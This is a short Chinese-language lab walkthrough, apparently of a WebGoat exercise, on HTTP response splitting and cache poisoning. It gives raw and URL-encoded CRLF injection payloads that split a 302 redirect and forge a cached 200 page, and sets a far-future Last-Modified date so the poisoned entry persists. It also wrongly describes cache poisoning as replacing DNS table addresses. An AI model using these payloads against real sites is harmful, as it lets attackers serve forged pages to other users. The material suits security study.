Http respone splitting主要分为:
第一步:Http splitting
输入教程里面的数据
foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47
<html>Hacked J</html>
webscard的transcorder转换后的URL encode:
foobar%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%0D%0AContent-Length%3A+47%0D%0A%0D%0A%3Chtml%3EHacked+J%3C%2Fhtml%3E
将代码输入
那个方框里面
第一个request包。
截取第一个respone包
302是重定向的标识
302跳转的 Location 地址用户可以控制
我们设计的
foobar
Content-Length: 0
实际上就是分割了http response 包的包头, %0d%0a 是换行,从而插入了我们自己的数据。
使我们的的数据被解释为新的200包,并被缓存了。
第二步:Cache Poisoning;
Cache Poisoning 是缓存投毒,利用虚假internet地址替换掉域名系统表中的地址,进而制造破坏。。
接下来输入第二个代码
foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 47
<html>Hacked J</html>
foobar%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%0D%0ALast-Modified%3A+Mon%2C+27+Oct+2099+14%3A50%3A18+GMT%0D%0AContent-Length%3A+47%0D%0A%0D%0A%3Chtml%3EHacked+J%3C%2Fhtml%3E%0A%0A+
把Last-Modified的时间修改为一个未来的时间,使其不会过期
成功后的截图:
转载于:https://blog.51cto.com/monalisa/1011492